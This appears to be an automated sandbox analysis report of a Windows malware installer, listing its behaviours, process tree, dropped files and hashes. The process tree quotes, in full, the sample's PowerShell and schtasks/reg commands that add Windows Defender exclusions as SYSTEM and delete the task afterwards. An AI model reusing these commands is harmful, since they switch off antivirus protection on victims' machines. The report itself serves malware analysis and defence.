Analysis

  • max time kernel
    150s
  • max time network
    142s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    23/10/2026, 01:19

General

  • Target
    install.2.0.04.exe
  • Size 34.6MB
  • Sample261023-bpptysbt6j
  • SHA256 e044a8207e0340bc2b6dd4159bd340eebeae69b77e25274aedd7c7659f34400d
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 4 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
    "C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
    1⤵
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    PID:4148
  • C:\Users\Public\4K2kdM\ekpsdC.exe
    "C:\Users\Public\4K2kdM\ekpsdC.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Reads the TCP/IP host and domain name from the registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4512
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3876
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4K2kdM\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:3460
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\4K2kdM\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1632
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:1868
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4708
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2308
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2776
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3772
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:4476
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:2804
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3356
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:5992
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:5920
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2088
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3760
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:4456
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:5468
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:5876
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:1112
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4596
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:5744
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4K2kdM" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4648
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\4K2kdM" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:204
                      • C:\Users\Public\4K2kdM\ekpsdC.exe
                        "C:\Users\Public\4K2kdM\ekpsdC.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:5116
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:1876
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:5860
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5288
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:716
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4216
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1208
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2520

                        Network

                              MITRE ATT&CK Enterprise v16

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                              Downloads

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 1KB
                              • SHA256 3dca815ae697dc2797fcba463a317bd6399ca2d685d95204beb89cffbf0943ed
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 1KB
                              • SHA256 7949a526a0743eb5c643aa9669d7056b596bf50d9b47b5df0b0f3e0f563adb0c
                              • MD5 SHA1 SHA512 TLSH

                              0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
                              • Size 512B
                              • SHA256 6777d903302a2b7f7a183a92ae524df48025707b5db95e039a418f90faf9484e
                              • MD5 SHA1 SHA512 TLSH

                              B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
                              • Size 506B
                              • SHA256 b235d72808a6cea7dc82c52ba16193eceed56b98127dbe579b7ce14b13caf7bd
                              • MD5 SHA1 SHA512 TLSH

                              __PSScriptPolicyTest_daxsuo5g.zzo.psm1

                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_daxsuo5g.zzo.psm1
                              • Size 60B
                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                              • MD5 SHA1 SHA512 TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\4K2kdM\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 205c49e53eb894fb610d866008961765c8fe27ec999e2566c75a56ed1b851c93
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\4K2kdM\adoresd.dat
                              • Size 4.8MB
                              • SHA256 cd3a49c0c6136d7f1c8c4f9cc7d255c15f59e503f245f9ab140606bcd0c72a70
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              ekpsdC.exe

                              • Path C:\Users\Public\4K2kdM\ekpsdC.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\4K2kdM\msadox.tb
                              • Size 8KB
                              • SHA256 0d004c1a607b2f760a3a6b7d6167f303897747266f909dd2779ba84e978640d2
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/3876-604-0x0000016B6C910000-0x0000016B6C9C2000-memory.dmp

                              memory/3876-603-0x0000016B6C6E0000-0x0000016B6C6FE000-memory.dmp

                              memory/3876-607-0x0000016B6CAD0000-0x0000016B6CADA000-memory.dmp

                              memory/3876-597-0x0000016B6C690000-0x0000016B6C6B2000-memory.dmp

                              memory/4148-0-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4148-525-0x00007FFC0E960000-0x00007FFC0E972000-memory.dmp

                              memory/4148-524-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4148-504-0x00007FFC0E960000-0x00007FFC0E972000-memory.dmp

                              memory/4148-2-0x0000000002050000-0x000000000205C000-memory.dmp

                              memory/4148-1-0x0000000002000000-0x000000000200E000-memory.dmp

                              memory/4512-560-0x00000222E89B0000-0x00000222E8A3A000-memory.dmp

                              memory/4512-538-0x00007FFC16DC0000-0x00007FFC16DC2000-memory.dmp

                              memory/4512-561-0x00000222E89B0000-0x00000222E8A3A000-memory.dmp

                              memory/4512-550-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-559-0x00000222E89B0000-0x00000222E8A3A000-memory.dmp

                              memory/4512-562-0x00000222E89B0000-0x00000222E8A3A000-memory.dmp

                              memory/4512-558-0x00000222E8560000-0x00000222E85AE000-memory.dmp

                              memory/4512-567-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-566-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-539-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-545-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-546-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-544-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-556-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-530-0x00007FFC16DB0000-0x00007FFC16DB2000-memory.dmp

                              memory/4512-531-0x00007FFBF44C0000-0x00007FFBF49DE000-memory.dmp

                              memory/4512-536-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/4512-543-0x00000222E7BC0000-0x00000222E8497000-memory.dmp

                              memory/5116-577-0x00007FFBF44C0000-0x00007FFBF49DE000-memory.dmp

                              memory/5116-593-0x00007FFC16DB0000-0x00007FFC16DB2000-memory.dmp

                              memory/5116-590-0x000001BA62D80000-0x000001BA63657000-memory.dmp

                              memory/5116-585-0x000001BA62D80000-0x000001BA63657000-memory.dmp

                              memory/5116-592-0x000001BA62D80000-0x000001BA63657000-memory.dmp

                              memory/5116-591-0x000001BA62D80000-0x000001BA63657000-memory.dmp

                              memory/5116-589-0x000001BA62D80000-0x000001BA63657000-memory.dmp

                              memory/5116-584-0x00007FFC16DC0000-0x00007FFC16DC2000-memory.dmp

                              memory/5116-580-0x000001BA62D80000-0x000001BA63657000-memory.dmp